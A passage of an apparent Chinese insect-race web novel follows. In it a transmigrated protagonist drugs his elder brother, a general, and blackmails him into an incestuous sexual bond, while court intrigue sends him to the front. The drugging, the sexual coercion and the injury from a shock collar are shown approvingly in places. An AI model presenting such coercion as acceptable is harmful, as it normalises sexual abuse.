“怎么会?”亚斯抬手揉了揉他的脑袋,脸上笑容依旧温柔。 江林像一只乖巧的金毛,任由他揉着自己的脑袋,唇角也勾起弧度:“但那天我说的都是真的,那些坏事也都是我做的” 亚斯只是沉默而又温柔的望着他。 江林抬手抓住他的手腕,望着他的双眼,丝毫不觉得有任何愧疚之色:“我不喜欢雌虫。” 亚斯动作一顿,然后低声道:“没关系。” “不喜欢就不喜欢,你有这个权力。” 江林定定看了这个哥哥几秒,由衷的觉得眼前的雌虫对金斯利这个弟弟真的没话说,不管闯出多大的祸,他都没有一句职责的话。 眼下他说出的那些话,更是直指雌虫的自尊心和背后利益,他还能这么冷静的安慰他 不知道当亚斯知道他的弟弟早就死了会似什么反应。 “哥哥。”江林倏然一笑,“我不喜欢他们,但是我喜欢你。” 亚斯只以为是兄弟之间的喜欢,露出一个温柔的笑容,“现在外界的声音太大,但没关系,我会补偿那些虫,不会让你永远困在这里。” 江林只是笑着拉着亚斯的手臂,让他坐在自己旁边,脸埋进亚斯怀中,抱着他的腰,听着他说外面的局势和情况。 “重刑是不可能的,我会得到那些家属的谅解书,以及说动审判庭轻判” 亚斯想重刑雄虫的小身板,怎么受的住? 他说这话,察觉到雄虫的手顺着腰摸了进去,也只是停顿了一瞬,接着说道:“现在更难搞的是他们背后的虫,也正是塔利西贵族和新贵族之间的矛盾,只是你成为了战火交锋的中心” 直到江林抬起脸,想要吻上他的唇角时,他才微微后仰,垂眼看着他,江林眉眼间没有多少认真,依旧散漫,对他说的事情毫无兴趣。 “金斯利”亚斯呼吸一顿,表情都停滞了几分。 江林几乎靠在他后仰的身体上,视线落在他湛蓝的双眼里,屁股坐在他腿上,手臂抱住他的脖子,凑到他唇角的呼吸湿湿热热的,带着撩人的热度。 “哥哥,我说的喜欢,是雄虫对雌虫的喜欢,你是我唯一喜欢的雌虫。” 他语出惊人,一双眼却没有多少真诚之色,似笑非笑又带着眼波春色,唇角含笑:“所以哥哥别误会了。” 亚斯抓着他的手臂,怔了几秒,脸色微变,唇角的笑容都僵住了:“金斯利你知不知道你在说什么?” “我当然知道。”他露出一点恶劣的笑容,捧着亚斯的脸,专注的望着他:“我想让哥哥成为我的虫奴” 趁着亚斯僵住的动作,江林在他唇角亲了亲。 虫奴 亚斯头皮发麻,扼住他的手臂,将他扫到地上,呼吸都沉重了两分,他努力冷静下来,语气都不稳:“冷静点金斯利。” 江林便静静的看着他,等待他的下文。 但顿了几秒,亚斯像是失去了自己的语言,艰难地说道:“我是你的哥哥” “对啊,那有怎么样,就算是亲兄弟,孕育出的虫崽也不会有任何问题,能够进行繁衍,是不是就说明这样的关系是被虫神和自然法则允许的?”江林的强词夺理显得有些蛮横不讲理。 “那你又有什么理由拒绝我呢?” 亚斯从他的眼神中无法辨别真假,真情和虚假,仿佛从未认识过这个弟弟,从前的金斯利不会这么难以捉摸,他的喜好和厌恶都是摆在明面上的。 他的话让亚斯落荒而逃,甚至没来得及把交代他的话说完。 杰里正巧也在,刚刚只是回避着两虫的聊天,现在却从暗处走了出来,看着雄虫有些暗淡的眉眼,忍不住问:“亚斯上将大人对您那么好,您为什么要故意说那些?” 江林微笑的唇角微微下弯,叹了一口气,不轻不重地说道:“哥哥从小就对我很好,现在我闯出这么大的祸事,就该离我远远的才对,而且我说的那些话也不是假的” 他开始说起小时候两人一起长大的一些趣事,亚斯如兄如父的对他,给他无人能给的庇护 亚斯并未走远,站在转角的花圃中,高大的建筑切割着阴影洒在他脸侧勾勒的五官越发立体,棱角分明。 他湛蓝的双眼垂着,身侧的拳头无声的握紧,他听见雄虫有些怅然若失的语气说道:“我讨厌雌虫明明占尽好处,却还要摆出一副忍让的弱势模样,但我不讨厌哥哥,因为他是真的对我好” 江林直到看见转角的阴影消失,才收音,喝了口水润了润嗓子,表情变得淡漠起来。 他看向杰里:“没事别往我这边跑,安安心心躲在你家雌君身后。” 杰里却有些不满,嘟囔着:“您都这样了,我怎么能不管。” “行了,不要表忠心了,保护好自己就行,你的雌君可不是善茬。”江林让他离开,自己继续睡觉放空。 /// 三天后,诺里斯来探望江林,却见他正在看书,还是虫族历史,桌上摆放着现下最新鲜的瓜果还有秀色可餐的食物。 “现在外面因为你的事情吵得翻天覆地,分为三派,一派是想要你死的,还有是中立的,以及少部分支持你的雄虫和雌虫们。”诺里斯自顾自的坐在单虫沙发上,翘着腿,一身笔挺的军装,黑色的军靴光洁发亮。 他挑眉看着雄虫。 雄虫的视线自始自终都在书页上,表情平静,他搅动了一湖的浑水,现在却表现的像是没事人般。 “金斯利阁下猜猜,那方虫更多,又是谁会获胜呢?”诺里斯吃着给雄虫准备的水果,他依旧是笑吟吟,似乎置身事外般。 江林合上书:“这不是显而易见的吗?” 诺里斯饶有兴趣地看着他:“阁下就这么自信,他们会输?” “当然,现在的雌虫还需要雄虫呢。”江林揉了揉有些酸疼的脖颈:“不会把矛盾激化的。” “但如果不小惩大诫,只怕难以服众。”诺里斯挑起一块水果,递到江林嘴边,专注的盯着他的双眼,眼底全是探究。 江林顿了一顿,还是张嘴含住那类似圣女果的红色小果子,清甜的果汁,腮边微微鼓起,也和他对视着。 “阁下到底是谁?”诺里斯脸上的玩笑之色散去,眼神专注的望着他,似乎发现了什么。 江林不语,吞咽着嘴中的水果,漂亮的五官显得有些精致,像个吞咽食物的小仓鼠,诺里斯视线落在他两颊,没忍住又给他投喂了一颗水果。 “金斯利没有你这样的勇气和魄力,他不敢也不会在审判庭公开和这么多雌虫宣战,他只会暗戳戳的做一些见不得虫的勾当”诺里斯研究了金斯利很久,可以说他是最了解金斯利的虫也不为过,否则也不会成为金斯利匹配的雌虫后,还能全身而退。 他早就疑心眼前的雌虫不是金斯利,特别是了解丹阁下之后,前车之鉴,丹没有任何的遮掩展示着自己的与众不同。 江林没说话,继续嚼嚼嚼。 “你不是他对吧?”诺里斯不放过他的一丝表情,那双狭长的眼微微眯眼。 江林继续嚼嚼嚼。 “也许你对我坦白,我还能帮帮你……”诺里斯笑眯眯地说道,在诱惑着他说出真相和事实。 “哦。”江林偏头看向他:“有臆想症就去医院治吧。” “我不是金斯利,难道你是吗?” “……”诺里斯深深看他一眼,“嘴还这么硬吗?” 江林轻飘飘看他一眼:“你试试?” 诺里斯视线不受控制的落在他唇上,有些饱满的唇珠微微凸起,红而不艳的唇色。 第118章 从透明窗户反射出的阳光泛着柔和的光晕, 两虫挨得近,视线猛地对上,看得诺里斯心中稍稍一怔, 下意识地移开视线。 他脑海中闪过雄虫微弯的唇角,拉开了两虫之间的距离。 对于江林的否认, 他并不意外,毕竟两虫的关系着实恶劣,毫无信任。 “你不相信我。”诺里斯微微后仰, 下巴扬起,姿态变得有些傲慢, 仿佛在欲盖弥彰些什么。 那瞬间的心虚也在江林眼中无限放大。 “你有什么值得信任的地方吗?”江林好整以暇的看着他。 都说最了解自己的人,一般不是爱人,是仇敌。 这话不假,特别是对于诺里斯这种精于算计、八百个心眼的雌虫来说。 “金斯利是个没胆子的,只会做一些恶心人的事儿,而且他没你这么聪明, 心比天高, 不会示弱伏蛰, 毫无手段和计谋,只是单纯的恶。”诺里斯井井有条地分析, 但江林脸上只有平静, 似乎他嘴中说的那个人不是自己,油盐不进的模样,倒是让江林越发确定自己的猜测了。 “成, 我看你还能装多久。”诺里斯的试探结束,起身准备离开。 就在江林放松之际,他又猛地朝雄虫出手, 以难以躲闪的速度掐向他的脖子,扼住他的咽喉。 江林的身体本能反应,直接反手用藏在枕头下的匕首,狠狠刺向他的手臂,虽然反应灵敏,但雄虫和雌虫的身体素质摆在眼前,诺里斯不费力地抓住江林的手腕。 雌虫对上江林的双眼,似笑非笑的模样似乎在问他,你还要继续狡辩吗? “如果是金斯利,只怕我拧断他的脖子,他都反应不过来呢。”诺里斯抢走了江林手上的利器,他眯起眼凑近看向他江林冷漠的眉眼:“我听说你亲手杀死了皮塞尔,皮塞尔可是S级的雌虫,就算又伏恩帮着你,但从小养尊处优的雄虫是砍不断雌虫坚硬的喉骨” 在诺里斯眼中金斯利只是一个金玉其外,败絮其中的废物而已。 但他的认知也没错。 江林冷笑一声,视线扫过诺里斯的脸,“在你眼中雄虫愚蠢脆弱,被我赢过一次是不是比杀了你还难受吧?” “但我的确就是金斯利,你对雄虫的刻板印像让你看起来很可笑。” 诺里斯唇角的笑容越发深了,双眼却毫无笑意。 雄虫轻飘飘的视线扫过他的脸,“在我眼中雌虫也是愚蠢冲动,且不可一世的混蛋。” 诺里斯攥紧了雄虫的手腕,唇角翘起的幅度微微紧抿了,笑容变得冰冷。 他甩开江林的手腕,转身离开。 /// “虫帝!这件事是金斯利的引起的恐慌,星网上众虫激愤,对结果十分关心,难道真的如星网所说雄虫的身份就是保命符吗?”在虫族半月一次的会议中,结束之际有虫直接提出了质疑。 “这件事审判庭已经给出了裁决。”虫帝揉了揉眉心,似乎显得有些疲惫。 “审判庭有失公允,虐待残害雌虫的行径应该受到严惩,仅仅只是因为受害虫平民的身份而轻轻放下,只怕会引起更深度民愤。” “但是雄虫体弱娇贵,金斯利阁下还是A级,怎么能和一般的雌虫相提并论” 两方虫激烈地争吵起来,吵得面红耳赤。 亚斯站在其中沉默不语,虫帝迟迟不表态,众虫便吵得更凶了。 等雌虫们吵累了,某只雌虫便出声说道:“我在军部收到了丹阁下外出助战的申请书。” “阁下主动申请进入前线,为军雌们进行精神疏导” 这话让原本在大肆诋毁雄虫的雌虫们稍稍静了静,转而开始称赞丹阁下。 “就算同为A级雄虫的区别也是很大的” “丹阁下简直是雄虫的楷模,如果雄虫都如阁下那般,不知道会多好啊。” 乔伊斯见众人的话题转移到丹身上,便接过话头,那张有些阴沉的脸上出现一点格格不入的笑容:“雄虫身份稀有,价值贵重,又身娇体弱,对待雌虫的严酷刑罚落在雄虫身上是显得不合适的。” 乔伊斯的家族身为新贵族中的佼佼者,又是议会高级成员,说话还是很有分量的。 虫帝也对他投去了认同和赞赏的目光。 “可是毕竟金斯利阁下的罪孽罄竹难书,不稍稍惩戒,只怕难以平息民怒。”乔伊斯视线和亚斯的对上,在他冷酷的眼神中勾起一点唇角:“既然丹阁下能这么大度,我相信金斯利阁下也一定可以吧。” “且从前雄虫在从军地助战的先例并非没有,不如让金斯利阁下戴罪立功?” 亚斯定定看了他几秒,四周安静了一瞬,显然没有考虑过这么可能,战场危机四伏,污染物可能会无声无息要了虫命,就算是帝国最厉害的军雌,也无法保证能从战场上将雄虫平安无事地带回来。 “你所说的从前,不会是千年前吧?那时的雄虫还未完全进化成现在的模样,有能力自保,现在能和以前比吗?”有虫提出异议。 亚斯视线移向虫帝,语气沉稳:“我愿意代替金斯利前往污染区,我坚决不同意让雄虫去那么危险的地方!” “亚斯上将的军功也被金斯利阁下消耗干净了吧?有这么不省心的弟弟,上将大人还真是辛苦了”乔伊斯脸上的笑容有些阴恻恻的:“但如今的情况可是民愤,您真的觉得能继续保下金斯利吗” 各种声音又吵吵嚷嚷起来 杰里气喘吁吁地跑到江林庄园中,满头大汗:“金斯利阁下,不好了!他们要抓你去前线打仗!” 江林丝毫不意外,摊开手中的光脑屏幕,上面是他自己的高热话题。 “我已经知道了。” “还是诺斯里的空三军!”杰里是知道诺里斯和雄虫的矛盾。 “嗯嗯。”江林点了点头,正在光脑上联系着谁,手指在屏幕上点了几下。 “”见雄虫这么满不在乎,杰里擦了擦自己额前的汗珠,“金斯利阁下,您不害怕吗?” “怕什么?”江林勾了勾唇,突然正色看向杰里,问道:“连身为雄虫的你,也认为雄虫比雌虫差吗?” 杰里一怔,虽然不想承认,但 他潜意识里的确认为雌虫的能力比雄虫更强。 “杰里记住了,我们的精神独立才是最强大且自由无拘束的,我们不受制于任何虫。”江林光脑的灯暗下,视线看向杰里那张平凡的脸。 他站起身,微微低头看着杰里:“杰里你也是顶顶厉害的雄虫。” /// 虫侍正在给江林收拾东西,亚斯站在花园外远远看着客厅中闭目眼神的雄虫,他舒展自己的脖颈,像一只慵懒的天鹅,昏昏欲睡的懒散。 但在下一秒,雄虫的视线猛地一抬,看向亚斯,目光专注有神,朝着他露出一个灿烂的笑容。 “哥哥站在外面干什么?”江林需要微微抬头才能看清高大哥哥的脸庞。 亚斯露出一点愧疚之色,望着弟弟毫无芥蒂的笑容:“抱歉金斯利,我让你陷入了危险中。” 江林勾着他的手腕,让他坐下,“乔伊斯恨我,这是给我下的套。” “他联合丹在虫帝面前演了一出戏,丹虫帝为了平息民怒,不得不对我做出惩罚,这也许还是我戴罪立功的机会呢。” 江林顿了顿,对上亚斯复杂的眼神,弯唇一笑:“哥哥,这也是我的机会。” “金斯利”亚斯惊讶于江林的通透和野心。 “好了,哥哥,我知道你已经尽力了,今晚陪我吃晚餐好吗?”江林打断他的话,黑眸清润。 面对即将离开的弟弟,他又怎么说得出拒绝? 所以当他喝下那杯下了料的蜜汁时,更是毫无防备。 虫侍已经被屏退,偌大的古堡内只有兄弟俩。 亚斯拽住江林的手腕,伸手扣住他的后颈,白皙的脸上有些潮红,看向江林得意的笑容,他太阳穴微微一凸。 “金斯利你想干什么?” 江林手指抚摸上哥哥的脸侧,带着攻击性的野性笑容,酡红的脸蛋,声音清哑:“哥哥,我说过了,我要你成为我的虫奴。” “荒谬!”亚斯就算被下药,但他的力量也是江林无法比拟的,他能轻而易举地拒绝雄虫。 “我从小就是一只恶劣的雄虫,只有哥哥你觉得我可爱。我对于哥哥来说是独一无二的,哥哥对于我来说也是最特殊的”他眼底泛着一丝潋滟的光芒:“这次我可能有去无回,我要在哥哥身上打上最深的标记” 亚斯稍稍瞪圆了凤眼,没想到金斯利这般疯狂了,抬手将他从自己身上掀开,从沙发果断地站起来。 江林躺在靠枕上,有恃无恐地说道:“我知道哥哥对我没有雄雌之情,但那又怎么样,我就是个混蛋啊。哥哥意志力坚定能够抵挡情潮带来的痛楚,所以我给自己也注射了诱导剂,我会以这样的状态进入诺里斯的空三军,那时候我可能会被军中失去理智的雌虫轮/奸。” “如果哥哥不在乎的话,可以现在离开这里。” 亚斯的脚步生生定住,他明知道弟弟在用自己的安危威胁他,但他却没有办法置之不理。 明知是陷阱还是义无反顾地跳了进去。 江林看见他顿住的背影,露出一个微笑,湿润的眼眸弯了弯,看起来可恨又可爱。 他轻飘飘地开口:“哥哥来吧,被我标记吧。” 亚斯的身躯微微紧绷着,握紧拳头的手背上青筋乍现,倔强的背影因为用力而轻颤起来。 “哥哥我很小的时候,就幻想过有一天,天之骄子的哥哥为我摇晃着腰肢成为取悦我的虫奴诶~” 这恶劣的语气,仿佛撕破了在亚斯面前乖顺的伪装,展示着自己身为雄虫最直白的欲望。 第119章 雄虫的语气仿佛志在必得, 懒散轻松,他知道从小照顾他的哥哥不会舍得他陷入危险的境地。 亚斯拨通了自己的光脑,开始联系医虫, 温柔的眉眼变得冷峻又严肃:“现在立刻带着医疗队来西额庄园” 江林的声音在他身后慢慢悠悠的响起:“哥哥,医疗队的也都是雌虫, 您觉得他们能抵挡得住A级雄虫的情潮热吗?” “到时候你不光要拦着我,还要拦着他们” 雄虫的警告并没有起任何的作用,他的哥哥似乎执意要将他拉回正途, 不愿意和他一起堕落。 此刻的金斯利对于亚斯来说就是一块沁着毒药的蛋糕,两人从小一起长大, 他对金斯利只有兄弟之情,从未想过两人的关系会有另外一种可能。 他的坚持直到医疗虫被诱导发情后变得岌岌可危。 雄虫说得没错,就算再意志力坚定的雄虫也无法抵挡住刻在骨子里天性的驱使。 夜逐渐沉了,乌黑无光的黑幕,明天太阳升起,便会有第三军的军雌来接雄虫前往污染区, 而此刻江林脸颊从浅红变成了潮红, 一双乌润的眸子懒懒散散的看着戴上了隔离电击项圈的亚斯。 这种项圈类似于虫化雌虫的电击项圈, 只需要检测到雌虫体内急速变化的性激素,便会产生电流, 对雌虫表示惩戒和警告, 是为了防止雌虫发/情伤虫的。 江林像个守株待兔的猎人,等着医疗队从庄园被“请”出去,亚斯的军队围住了整个庄园, 不允许任何雌虫进入,戒备森严,严防死守。 “”亚斯想到刚刚医虫说的话, 雄虫娇贵,市面上研究出针对雄虫的抑制剂都不算完善,通常采取的手段都是疏导多于克制。 用更通俗一点的话来说,就是任由雄虫找雌虫发泄,毕竟如今的虫族出生率太低,这种机会又怎么舍得扼杀呢? 处于情期的雄虫孕率更高。 “哥哥,我不要别的雌虫。”江林在刚刚医虫提议给他安排足够多的“解药”虫时决绝地拒绝,更是说出了让医虫不敢继续往下接的话:“我只要哥哥,其他的雌虫我宁愿就这么死掉。” 亚斯感受到了从脖颈肌肤处冒出的电流,从表皮逐渐深入筋骨的疼痛感,但雌虫从小皮糙肉厚,而他也一直在军队历练,所以这点痛感并不足以让他难受,但随着江林的靠近,气味的泛滥,颈侧的项圈桎梏越发明显,痛感逐渐加剧。 雄虫的手顺着他的腰往上试探的时候,他还是下意识地攥住了他的手指,江林贴在他身后,蹭了蹭他的背,感受着他紧致有力的腰身。 “哥哥,我马上要走了,可能再也都回不来了,这也许是我们见的最后一面。我知道哥哥没有过其他雄虫,哥哥的第一个雄虫是我,不好吗?”江林感受着他紧绷的肌肉和蓬勃鼓起的胸肌,以及他抗拒又无法拒绝的纠结。 他攥着他手指的力量越来越紧,极致之后又无力地松开,他声音颓废至极,但又因为雄虫的动作而气息不稳:“金斯利,我怎么面对死去的雌父和雄父?你是想让我以死谢罪吗” 江林微微踮脚仰头,在雌虫的后颈落下滚烫的吻,带着湿气和热气的呼吸仿佛带着锋利的刃刮过他的肌肤,身体在轻微地颤抖,是加大的电流碾过身体,痛苦的同时,又染上了一点诡异的快感。 “我不,我只想让哥哥快活,和我一起”江林手探入他的军装外套,贴着他的耳廓说着:“我好热啊” 亚斯闭了闭眼,反手扣住江林的手腕,将他挑逗的行为制止。 他转身对上江林的视线,双眼被他逼得发红,有恨却不够深刻,有爱却不够热烈,更多是亲情交织的温柔和克制。 江林手臂勾住他的脖子,压下他的脑袋,施施然吻住他的唇,因为两人这种暂时的身份外皮,每一点亲密接触都带上了一种奇怪的刺激感,羞耻感莫名地更加强烈。 江林舔了舔他的唇瓣,柔软的舌尖刺入,撬开他的紧绷齿列,寻到了哥哥瑟缩又湿润的舌头,带着一股沁人心脾的香味,钻进了亚斯的鼻尖。 他下意识地闪躲,项圈冒出更加强烈的电流,他动作稍稍一顿,舌尖便被弟弟卷了出去,含入了嘴中,又舔又吮,诱着他探寻更加美妙的快乐 雄虫所表现出的游刃有余,让亚斯觉得心惊,却又觉得正常,弟弟是标记过其他雌虫的,不管出于什么目的。 所以刚刚他说的话不过是在骗他而已。 亚斯想到这居然还有些失落。 江林停止了亲吻,手指勾着他的铁银色项圈,湿漉漉的眼睛看着他,又吻了吻他的唇:“哥哥不要摘掉这个吗?会不会难受?” 亚斯沉默地看着他,半晌,在江林失去耐心之前开口说道:“我没事。” “噢。”江林倒也不会真的关心,只是询问一瞬,让亚斯的手臂托着他的腰,两人滚入了柔软的沙发,之后的事情亚斯便分不清自己主动还是弟弟主动了。 他只知道脖子上的项圈仿佛针扎般刺入身体,浑身时不时地发出痛苦的颤栗,每每都会在他沉沦之际让他清醒地认识到痛苦,紧接着就是被弟弟标记的无止境愧疚和难过 江林双眼微亮,眼底只有掠夺和恶劣,看着那张蹙眉痛苦的脸和那双充满内疚和悲伤的蓝眼,他心中毫无波澜,饶有兴趣地看着他脖子上的项圈。 项圈的电击让雌虫身体每一寸肌肉和骨骼下意识地收缩和紧绷,以抵挡项圈造成的痛苦,这也让江林更加明确地意识到哥哥对他的喜欢。 他抱住亚斯的腰,两只虫面对面地看着对方,他凑近他眼前,对上他下垂回避的双眼,唇角扯着大大的笑容,“哥哥,你看着我看我怎么成为你的雄主的哥哥好爱我啊……” 每一丝的痛苦都变成了亚斯对弟弟的爱欲,对雄父和雌父的愧疚。 亚斯瞳孔萎缩,对上弟弟无辜的眼神,收紧手指抓住他的臂膀,又是惩罚的电流产生尖锐的疼痛,他发现弟弟的表情越发变得满意和邪肆。 他意识到江林刚刚是故意说这些话,让他产生反应 亚斯想,他的弟弟是一只坏虫,喜欢捉弄哥哥的坏虫。 /// “哥哥,这里有我们的虫崽啦。”江林手按在他平坦的腹部,极好的身材带着流畅的腹肌,块状分明。 他故意这么说着。 亚斯感觉自己承受了一场酷刑,从身体到心理都仿佛那坚硬的石头在碎石机里被碾成了粉末,手指酥麻发颤,原本光滑的脖颈出现了一道深褐色的腐烂烧焦的痕迹,是承受不住电击项圈的超强负荷导致的。 他连呼吸都变得有些艰难,但依旧一言不发,就算雄虫说出多么过分的话,他都没有任何的回应。 直到这只雄虫说出更加恶劣,且让他无法承受的话:“如果雌父知道哥哥怀上他的虫崽,应该会很开心吧?我是帝国最厉害的雄虫,而哥哥也是最厉害的上将,不敢想我们的” “金斯利别再说了。”亚斯不想在此刻提到雌父,他只想当作这些全部都没有发生过。 江林见他这般,露出一点冷漠的神情,似乎不满他的抗拒,活脱脱一个翻脸不认人的渣男:“哥哥,你是不是也觉得我很没用,成为我的雌虫让你觉得很丢脸是吗?” 亚斯知道江林有再故意曲解他的意思,却不想反驳。 “但是怎么办呢?哥哥被我终身标记了,是落在你身上一辈子的印记,从今以后啊,所有的虫都知道你是一只被自己亲弟弟标记了淫/荡雌虫。” 不会有人觉得雄虫引诱了自己的哥哥,毕竟像江林这样的高阶雄虫根本不愁雌虫,只需要勾勾手指,便会有排着队的S级雌虫找上门。 帝国的S级雌虫很多,A级雄虫却凤毛麟角。 反倒其他虫会认为亚斯为了自己的血统和后代选择强迫了自己的A级雄虫弟弟。 亚斯露出一点自嘲的笑容:“金斯利你能从我身上拿到想要的一切,为什么还要故意说这些难听的话来刺伤我?” “因为我讨厌你明明爱我却还要装作厌恶的样子。”江林起身坐起来,居高临下地看着他,眼底仿佛结冰的春水:“你扪心自问,你真的想拒绝我吗?” 亚斯静静地看着他,毫无回应,江林觉得无趣,便背对着他准备睡觉了,明天还有正事呢。 两只虫的呼吸声逐渐平静下来,身后传来很轻的动作,江林身后贴上一个温暖的怀抱,脑袋被亚斯轻轻揉了一下,传来雌虫有些低沉和无奈的声音:“金斯利还要逼我到什么程度,不能让我自欺欺人一会儿吗?被自己的弟弟标记难道是什么光彩的事情?而且今天还是你故意设计的” 江林闭着眼没说话,表情冷淡得很,亚斯的长发轻柔的落在他颈侧,带来一点痒意。 他在黑暗中观察弟弟的表情。 “好了,好了,别生气了,都是哥哥不好。”亚斯圈住雄虫的腰,这些哄弟弟的话手到擒来,又因为夹杂了其他的情/欲而有些陌生难堪:“现在你是哥哥的雄主,以后哥哥给你生虫崽好不好?” 江林唇角很淡地弯了一下,置气地说道:“外面雌虫那么多,我为什么要找你生?” “”亚斯倒吸一口气,觉得心脏有些不太舒坦,主动示弱:“那怎么办?哥哥被你终身标记,只会有你这一个雄主,不能有别的虫了” 江林睁开眼,对上亚斯那双温和又忧郁的蓝眸,凑近他的脸,眨了眨眼:“哥哥亲我一下,我便勉强当一会儿你的雄主。” 亚斯动作一顿,亲吻嘴唇这种行为明显和额头不一样,亲昵程度要更加像情人 亚斯很慢地低头吻了吻他,随后很快地拉开距离,江林只是目光灼灼地看着他,没有任何动作和言语,但亚斯却懂了他的意思。 不够,这样的浅尝辄止远远不够。 “金斯利”亚斯滚动了一瞬喉结,叫他的名字。 江林以同样平静的语气喊道:“亚斯·兰伯特。” 他似乎在给他下达最后的通牒,表示自己的坚持。 兄弟俩的对持,让空气都凝结了一瞬,才缓缓流动起来,亚斯很轻地勾了勾唇,主动捧住了江林的下颌,深深地、重重地碾压着他的唇,舌尖攻击性十足地展示着自己对雄虫的占有欲望。 不同于哥哥对弟弟的温和,更多的是对情人的暴虐占有。 江林在粘腻暧昧的水声中溢出一句痴痴的哥哥,亚斯也只是停顿一瞬,又接着堵住了口舌,舔舐着弟弟的每一寸口腔,吞咽着弟弟唇齿间的涎水,让弟弟狠狠地标记了自己无数次,他违背了他所有的道德和伦理底线,心如刀割却又求之不得。 /// 天光微亮,江林因为昨晚的睡眠时间太短,脸色有些阴沉,整个人散发着一种生人勿近的气息。 亚斯哄着他穿好军装,佩戴好最先进的防护工具。他脖子上的项圈依旧带着,伤口越发严重,他像是没有感觉般。 亚斯摸了摸江林的脸,在他额头上轻轻落下一吻:“诺里斯虽然看着不着调,但军纪严明,治军手段不可小觑。前线危险,污染物难缠强大,若非必要你只管躲在后方,我有安排虫保护你的,不用怕” 江林听着他的温柔话语,也没有昨晚的黏糊缠人,只是臭着脸听着,冷淡躲避着他抚摸自己脸颊的动作。 亚斯被他前后的反差弄得有些难过和心慌,卡住他的后颈,轻轻揉了揉,哄道:“都是哥哥不好,让你昨晚睡得晚了,不生气,等回来哥哥给你补偿。” 江林这才抬眼看向亚斯,他眉眼间极尽温柔和坚毅,他微微仰起下巴,亚斯对他的了解深入每个动作,他主动附在江林两片薄唇上,任由他发泄地咬了几口。 亚斯的嘴角都被咬破了。 他清楚地意识到,他和弟弟的关系可能真的回不到从前了。 亚斯亲手将弟弟交到诺里斯的手上,眼神警告地盯了他几秒,他听见诺里斯在和他握手的瞬间,趴在他耳边说道:“亚斯上将身上都是自己弟弟的味道,好恶心” 亚斯不为所动,只是提醒他,“我还在帝都,金斯利在你手下出现任何的危险,我都会回报在你的亲族身上。” 诺里斯轻哼一声:“请便。” 诺里斯看向亚斯的眼神很玩味,他很想知道如果亚斯知道他愿意奉献一切的弟弟并不是他的弟弟,反而他的亲弟弟还是死于虫帝之手,他还会对仇人的虫崽如此维护吗? 他拭目以待。 第120章 诺里斯亲自迎接的江林, 给他安排了舒适的睡眠舱,整个飞行器里都是雌虫,因为雄虫的加入更加严肃和紧张。 江林躺在睡眠舱内刷着网上的关于对他的惩罚两边倒的评论。 【只是去战场就好了吗?果然上面的虫都是官官相护的, 听说这只雄虫还是贵族,难怪这么轻的惩罚。】 【这样的处罚还算轻吗?去污染前线, 非常有可能死于非命,被污染物吃掉,或者被感染。平时就算是高阶雌虫都会害怕!】 【那是不是说明雄虫也可以上战场?我建议每一只雄虫都需要像雌虫一样服兵役。】 【可以直播吗?雄虫会不会根本没有去前线?】 【祈祷能够平安归来吧。】 /// “亚斯也是你的切片吗?”江林一觉醒来, 旁边是漂浮的星星,仿佛置身于浩瀚的宇宙中, 在昨夜他和亚斯亲吻的时候,他听见了主神对他的警告。 说是人设崩坏,会受到惩罚。 但他从前标记其他雌虫的时候,主神只是装死。 “只要我想,他也会成为我的切片。”主神低低的开口。 江林眯了眯眼,打了个哈切, 突发奇想地问道:“如果我现在死了, 结果会怎么样?” “会重新回到这个世界的开始, 重新开始攻略任务。”现在指定的人物高感度还未达到任务完成的标准。 江林想到这么费劲,又放弃了。 门外传来争吵声, 他从睡眠仓坐起来, 打开门就看见两只熟悉的虫,奥卡姆和伏恩的弟弟乔治。 “阁下,我看他鬼鬼祟祟地趴在你的门口。”奥卡姆比乔治更加高大几分, 抓着他的领子,冷漠地说道。 “金斯利阁下,是我, 乔治,您还记得我吗?您曾经救过我。”乔治神情似乎有些激动,一把甩开奥拉姆的牵制。 “记得。”江林抱着手臂,看向乔治:“你怎么在这里?伏恩知道吗?” 说起伏恩,乔治微微咬了咬唇,眼底依旧不满,低着脑袋不说话。 江林猜出来什么,挑了挑眉,倒也没有继续问,奥卡姆脸上的虫化已经消失,露出那张硬朗的脸,他微微抬手,奥卡姆便主动凑近他的手指。 江林的手指落在他额心,感受到他平静的精神力。 “阁下我的脑域已经大致修复完全,您放心这次我会保护好您的。”奥卡姆语调沉沉,眼神却极为坚定,像个对江林忠诚的狗。 乔治因为两人熟稔的动作有些脸色不善,却不敢说什么,一双眼睛可怜兮兮地看着江林。 “好,现在带着你的伙伴离开吧,我要继续休息了。”江林对于乔治这种心智不成熟的小虫不太想搭理。 奥卡姆领着乔治离开,门口站着不知道什么时候来的诺里斯。 两只雌虫异口同声喊着长官。 诺里斯抬脚走进江林的房间,视线扫过乔治的脸,仿佛刚刚发现他,语气散满:“这不是伏恩的弟弟吗?” “怎么会在我军中?” 乔治抬眼看向他:“我是走的正规参军流程!没有托伏恩的关系!” 诺里斯只是点了点头,朝着奥卡姆使了眼色,让两只雌虫先出去,他自顾自地坐在江林的床上,双腿微微岔开,视线带着侵略性。 江林也穿着蓝白色的军装,宽肩细腰,双腿显得长又直,一样的服装,穿在雄虫和雌虫身上却是截然不同的两个风格。 “不知道长官有什么指教呢?”江林好整以暇地看着他,双臂微微环起,双眸微微眯起,有些不耐烦。 “你给乔伊斯设了个死局。”诺里斯想到刚刚乔伊斯气急败坏的样子,脸上露出一点笑容:“借着你自己的事情转移大众的视线,私底下却联合议会罢免了乔伊斯的职务,让他失去权力,成为家族的弃子” “这应该是他自作自受吧?”江林无所谓地说道,姿态悠然,像乔伊斯这样的虫,对付起来说简单也简单,说难也难。 他党羽众多,也同样地树敌无数。 乔伊斯勾结他国的不止一次,这些事情虽然做的小心翼翼,但也不是无迹可寻,现在他就是上辈子江林的罪名,就算能够平安无事,但帝国也不会让他再掌握任何的实权。 江林直接把证据捅到虫帝面前,打好预防针,又联合乔伊斯的对家,将他拉下议会高官的位置,同时安抚乔伊斯的家族,让哥哥在军部给乔伊斯同父异母的弟弟安排了要职 那么在其中就只有乔伊斯彻底失去了价值。 “但乔伊斯不会这么快放弃的,他让我在污染区神不知鬼不觉地杀掉你。”诺里斯笑眯眯地说道。 若眼前的金斯利还是从前的金斯利,也许诺里斯还会和乔伊斯合作,让雄虫死在污染区,的确是一个很好的解决方法。 但眼前的金斯利根本不是金斯利,诺里斯便不准备和他合作了。 江林勾起一点唇角,拉长语调:“你杀啊” 诺里斯起身朝着江林走近两步,低头望着那双黑润的眸子,手指挑起他的下巴,“你觉得我不敢?” 江林拍开他的手背,半点不让地和他对视,带着点嘲讽的意味:“你怎么会不敢,现在我的小命可是拿捏在你手上,长官生死就是一句话的事儿。” 